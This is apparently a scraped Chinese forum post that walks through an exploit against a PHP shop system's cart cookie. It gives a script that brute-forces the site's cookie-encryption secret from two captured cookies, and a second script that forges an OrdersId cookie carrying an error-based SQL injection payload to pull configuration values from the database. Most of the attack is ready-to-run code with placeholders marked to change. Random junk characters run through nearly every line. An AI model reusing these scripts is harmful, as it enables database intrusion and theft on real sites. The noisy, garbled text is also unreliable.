www.xxx.com/plus/search.php?keyword=; [% R6 h! [7 j& p+ z
在 include/shopcar.class.php中$ T E' q/ W% e& C( E5 l
先看一下这个shopcar类是如何生成cookie的
8 {( i+ R8 K1 h, D. C; m9 c3 A239 function saveCookie($key,$value)7 z% X% D- b* G8 r; x
240 {
+ _) |: c' n8 V# v241 if(is_array($value))
0 A- U7 y# O- Q$ z- N+ ~ C& G; A242 { W9 p- n, r$ S! Y% _: P' |" a* ?
243 $value = $this->enCrypt($this->enCode($value));
6 y3 \9 c* N8 E1 l5 Z( x/ ?244 }: J$ g$ \3 O R$ U( A6 y6 O" b8 v! I
245 else5 l$ v0 V7 O1 {% M
246 {8 \, k1 O: C, Q9 R! F( F
247 $value = $this->enCrypt($value);# \' D2 b: b- c+ S8 I; S! p$ j0 b0 u
248 }- a4 o( H; i2 K3 N+ o d
249 setcookie($key,$value,time()+36000,’/');
4 {: c' g$ q& C% B250 }
|) F! j, S, _' `6 C, Z简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数9 O7 r" M) i+ w& R0 `9 W" l
186 function enCrypt($txt)
' W( V+ E: s9 o. Y0 K% c187 {
1 k+ C% G. R5 x188 srand((double)microtime() * 1000000);
1 I* N, `! ?/ e9 \: o189 $encrypt_key = md5(rand(0, 32000));! j8 g- L# u% _) l6 P. [: K8 U9 G
190 $ctr = 0;7 o' i& ]: X+ u5 Z4 m4 f( I
191 $tmp = ”;
0 m( f+ }* c/ X192 for($i = 0; $i < strlen($txt); $i++)* @+ \& z, ^: {0 q7 v
193 {3 u. J r( m, h2 X4 R
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% ^6 p# x, y1 A; Z195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);' d) k+ J0 n$ P% S w2 g
196 }& j- [* }! _- z0 T' w5 `; ]
197 return base64_encode($this->setKey($tmp));
; P& a1 K$ o, o: l @; [198 }
5 R: ^& ?' Q5 b213 function setKey($txt)9 f) R+ w% o" Y4 i$ N, {
214 {
3 q! F! Z9 E0 p: B; ?8 P; `215 global $cfg_cookie_encode;3 n r! { p9 e4 K
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
3 M4 [ `6 t J m1 k8 N/ l0 f217 $ctr = 0;
; f5 |9 v Y+ t7 O7 G. H. g218 $tmp = ”;) q* X' [% F6 d9 Y) r2 t0 I; j
219 for($i = 0; $i < strlen($txt); $i++)
6 w; N/ [; u" d r$ D! d1 g* M220 {: i1 B2 ?; f8 @2 ~& V1 G2 w2 h
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 d& u+ j8 k9 |5 T# e+ c2 d222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
+ L1 b) V7 y& Z: p; H0 r6 L223 }
) h) C4 x6 j w& X224 return $tmp;
' z0 x# U: q2 j! s225 }; e) j" Z7 X2 N$ h' a s4 b2 i4 @) @
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
9 V" \: Q+ G8 V# {7 i然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
& c, a& X2 H1 T# a' O# D' O! |9 D具体代码如下:; l9 G5 D! D4 ?; f$ S& H
<?php
5 q, ]8 g9 A/ |( R- K$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
4 L0 h7 n2 b4 F3 h$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here3 u8 @, U& _: s+ `! b
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
* [7 B u# H- O3 `5 Jfunction reStrCode($code,$string)8 i* S( ^& B" ?; V( ?& a
{
5 O N; `2 j! j, h: Y$code = base64_decode($code);
|' B3 X# T7 L9 q9 O! A( n$key = “”;
0 p/ b& B. j$ r# @3 z8 Hfor($i=0 ; $i<32 ; $i++)4 y: K! k6 W+ m) h h3 {/ g3 ]
{
' f# A5 L$ C7 k! @# [; V( R/ G/ {7 ]$key .= $string[$i] ^ $code[$i];
, p. s- A, q5 W: [9 Y}
: d; Y+ s5 r* ]0 V' w5 h+ i" K0 p: greturn $key;& J% T8 S- Z+ O/ V5 v4 g! i
}
4 {% L; o3 B9 @) u* i( ufunction getKeys($cookie,$plantxt)3 O* U; o. p" M' q$ A3 ^" `. o' I1 B
{$ Q3 b" W" X2 b- M: {
$tmp = $cookie;. D1 |0 t& a! V- n; y
$results = array();+ R8 m4 r" ~5 `0 Y6 U( ^
for($j=0 ; $j < 32000; $j++)# c# I/ g' _8 \# K: ]
{# D7 s, v( v. g. k
4 J' ]' N! }# `% x5 Q3 b8 W' g1 V/ n$txt = $plantxt;" e) \: b; S" {; N9 H
$ctr = 0;7 o7 W4 n. P, `$ Y2 }
$tmp = ”;# O/ b* P# s5 I+ n+ A/ J
$encrypt_key = md5($j);
6 ^5 J H; O4 d3 V' z! wfor($i =0; $i < strlen($txt); $i ++)# ^0 r& O4 j& F" h- g: O% X/ l
{
$ k8 V. @3 u+ a- d$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 N) Z3 y) ^( d. F% s
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
, J0 h. [& V& s0 I& t$ @}
# Y( f& D+ a1 I3 t0 M$string = $tmp;( u* \2 S" h6 V6 P8 I2 G
$code = $cookie;! n% D. i# s" F) ` N% g
$result = reStrCode($code,$string);; g1 J. q+ |- F/ m: N: m
if(eregi(‘^[a-z0-9]+$’,$result))
( `% P w( O3 g. O{
- y5 s8 W" W7 Necho $result.”\n”;6 V0 ^' t) O; E0 t
$results[] = $result;
- p: T5 q8 W2 s- t2 [! c}0 b: a, J, R, u
}
6 E/ }6 x9 K' x) b" f+ c4 Ireturn $results;
9 e# @6 g$ T5 t9 [7 }4 O}+ [. `9 C3 r% b
$results1 = getKeys($cookie1,$plantxt);: }% u9 p! P* a, I
$results2 = getKeys($cookie2,$plantxt);
6 c, X# o8 ^. B: c; {! K2 Oprint “\n——————–real key————————–\n”;
* r; g) T9 o2 S( J( I) N3 `foreach($results1 as $test1)4 {2 Q5 b4 m! J; y0 a( C
{
0 q+ r3 B4 {& W$ O8 j- o" X5 |foreach($results2 as $test2)5 Q5 o1 H/ c! T1 Q% b
{/ `; T" Q$ U, T5 S# p
if($test1 == $test2)
; ^7 H( K# L6 t+ \{
/ a! C) x( i( s1 kecho $test1.”\n”;
9 J5 P. Q! a9 t}
5 ]4 `- \' b- t6 }' C, U: U} ?- p" ?! k" Z2 A4 ]0 n
}2 M8 _7 G; x2 Y+ `7 v
?>
, H) ?! J5 |* j5 c$ K2 [1 w9 Icookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
& y& I$ a7 F5 P+ E* splantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua10 D& T# E5 [. e6 b0 t7 ^
然后推算出md5(strtolower($cfg_cookie_encode))2 K4 I2 l; b7 j7 U3 i# R
得到这个key之后,我们就可以构造任意购物车的cookie+ U* z W1 \/ A- U! {. Y
接着看, {" m) h) ^8 j
20 class MemberShops3 h6 v$ k3 a0 b, E# n9 J, e( b
21 {% s; U9 {5 T7 \) O7 I4 _7 C9 a5 G
22 var $OrdersId;. n/ y. G% a; x! U5 |9 ]+ x; y
23 var $productsId;/ b5 n v6 ?, L/ Z9 j: h/ h; j) b( C
24
# h7 }' `& k0 S) T0 |: D25 function __construct()0 l" c6 f/ V0 z1 v) U7 F
26 {
+ m$ w3 a3 R3 e ^) ]' w! v9 X27 $this->OrdersId = $this->getCookie(“OrdersId”);$ |9 H# F: a8 x0 a" g( O: n, s, t
28 if(empty($this->OrdersId))9 l1 } e& r, x4 D8 g9 A: L0 Z
29 {
d. s' _: K( m2 a30 $this->OrdersId = $this->MakeOrders();8 x# @9 x4 t7 t4 a* b& I- D
31 }
( Z6 d( U3 ^5 |32 }
3 Y+ }. b) Q- a发现OrderId是从cookie里面获取的
4 t% `' z( m9 Y$ t# v) Q然后) p4 }9 t) l$ h! |6 b9 p2 K
/plus/carbuyaction.php中的) v# \2 j T2 q6 ^3 V. F2 O" R
29 $cart = new MemberShops();5 w% c& J1 L- W0 a f8 G
39 $OrdersId = $cart->OrdersId; //本次记录的订单号. i. k' U! U9 w, R8 v$ `% q* m
……/ O+ \$ F# m6 x2 [. H# P
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
& B+ {/ [' V" h9 U1 y C, _0 Y* m) F接着我们就可以注入了; _( n2 S, C: I/ ]5 E
通过利用下面代码生成cookie: Y+ a* y7 d! z" j2 F6 |/ g
<?php
$ X0 Q7 L8 @# G! C$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;+ I( ~; \3 x" V( u1 R+ Q# ]
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here$ C4 e( f- |8 m. \
function setKey($txt)
6 d' I% P! P$ ~) x1 B4 c3 E1 @{! Y$ p! `: f9 N3 b+ L B; }0 h
global $encrypt_key;. m; g9 o& w/ ]9 m& V- R4 [. k
$ctr = 0;2 |1 t9 n- P& a6 i7 J/ O2 ]. O( _
$tmp = ”;
$ ]. R! O8 |' g; _1 u. M( dfor($i = 0; $i < strlen($txt); $i++)& i4 S V0 ?7 Z, a8 d
{4 T% q& d G8 {$ ]) T- d4 |
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 F* C; u, o5 D6 C0 T3 p# B3 u$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];9 W0 c! _& A0 R6 B5 [3 h7 S
}
3 p4 |- f3 C6 o5 f" Y2 y) sreturn $tmp;
0 d. Y* S/ W6 ]/ K* M}7 k$ T- P- s: A* {
function enCrypt($txt)- o! `; r; A1 u# k1 n
{
* p8 v# N6 k( u- U2 L: i. x* n- @- dsrand((double)microtime() * 1000000);* r: N7 y2 W: S9 ]9 B
$encrypt_key = md5(rand(0, 32000));" u5 A! v" k6 H
$ctr = 0;; t, Q! G; g" u; R
$tmp = ”;
. N# M; h( N' z# P1 @# Ofor($i = 0; $i < strlen($txt); $i++)
$ {. x0 X0 S2 {9 ^+ B{6 O1 I2 Z2 m5 ~, t" B; ?
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ e8 ? T8 J4 ]9 c, e
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
$ j, L; b& c* y/ a}' z5 F, u, ^' f6 m- A
return base64_encode(setKey($tmp));$ V3 l- K* A! H% ]1 E- P& j
}
1 l# D6 a5 S$ D: ifor($dest =0;$dest = enCrypt($txt);)
. R2 R! z) i& s; w" ~0 U: W8 u: z3 K{3 j. G+ w4 ?2 n( R$ ?
if(!strpos($dest,’+'))
" w( B- Z. N. |1 Z{8 p( W0 q, @5 a0 A$ { R/ j
break;' S& W7 x2 ]' ]' V" J9 T$ g
}7 T0 o* ]+ ]" J) {& j- m
}0 G6 z( d3 Y1 J, m% Q" i
echo $dest.”\n”;
* ~) A$ p# X4 @3 e5 B) `?>
6 L0 W0 v6 y: S. V5 }2 `% F$ I# O7 i- F- w. r, A# {& p* G5 T
|